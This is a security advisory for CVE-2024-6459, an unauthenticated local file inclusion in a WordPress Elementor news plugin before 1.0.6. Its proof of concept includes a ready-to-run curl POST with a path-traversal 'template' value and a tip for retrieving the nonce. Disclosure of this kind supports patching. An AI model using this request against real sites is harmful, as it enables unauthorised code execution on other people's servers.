News Element Elementor Blog Magazine < 1.0.6 – Unauthenticated LFI | CVE 2024-6459

Description

The plugin is vulnerable to Local File Inclusion via the template parameter. This makes it possible for unauthenticated attacker to include and execute PHP files on the server, allowing the execution of any PHP code in those files.

Proof of Concept

Note: Plugin requires Elementor to be installed

1. Create a test PHP file named `phpinfo` with the contents `<?php phpinfo() ?>` in the WordPress root
2.  Send a POST request (in 1.0.5, a CSRF check has been added however the nonce can be retrieved from a page/post made with elementor containing at least one widget. Just look for newselement javascript var to get it):

curl -X POST --data 'nonce=XXXX&action=khobish_filter_tax&khobish_fn_cat=2%2C3%2C4%2C5&khobish_fn_page=2&xlxtra_data%5Btemplate%5D=../../../../../phpinfo&xlxtra_data%5Bper_page%5D=9&xlxtra_data%5Bpagi_type%5D=load_more&xlxtra_data%5Bmetaf%5D=title%2Cauthor%2Cspace%2Ctime%2Cexcerpt%2Cbtn&xlxtra_data%5Bexcerptf%5D=20&xlxtra_data%5Bimgf%5D=size-720x600&xlxtra_data%5Border%5D=ASC&xlxtra_data%5Borderby%5D=&xlxtra_data%5Boffset%5D=&xlxtra_data%5Bbreak%5D=&xlxtra_data%5Bmetar%5D=&xlxtra_data%5Bmetas%5D=&xlxtra_data%5Bexcerptr%5D=&xlxtra_data%5Bexcerpts%5D=&xlxtra_data%5Bimgr%5D=&xlxtra_data%5Bimgs%5D=&xlxtra_data%5Bpost_format%5D=&xlxtra_data%5Bcolumn%5D=3' https://example.com/wp-admin/admin-ajax.php

3. The contents of `phpinfo` will display.
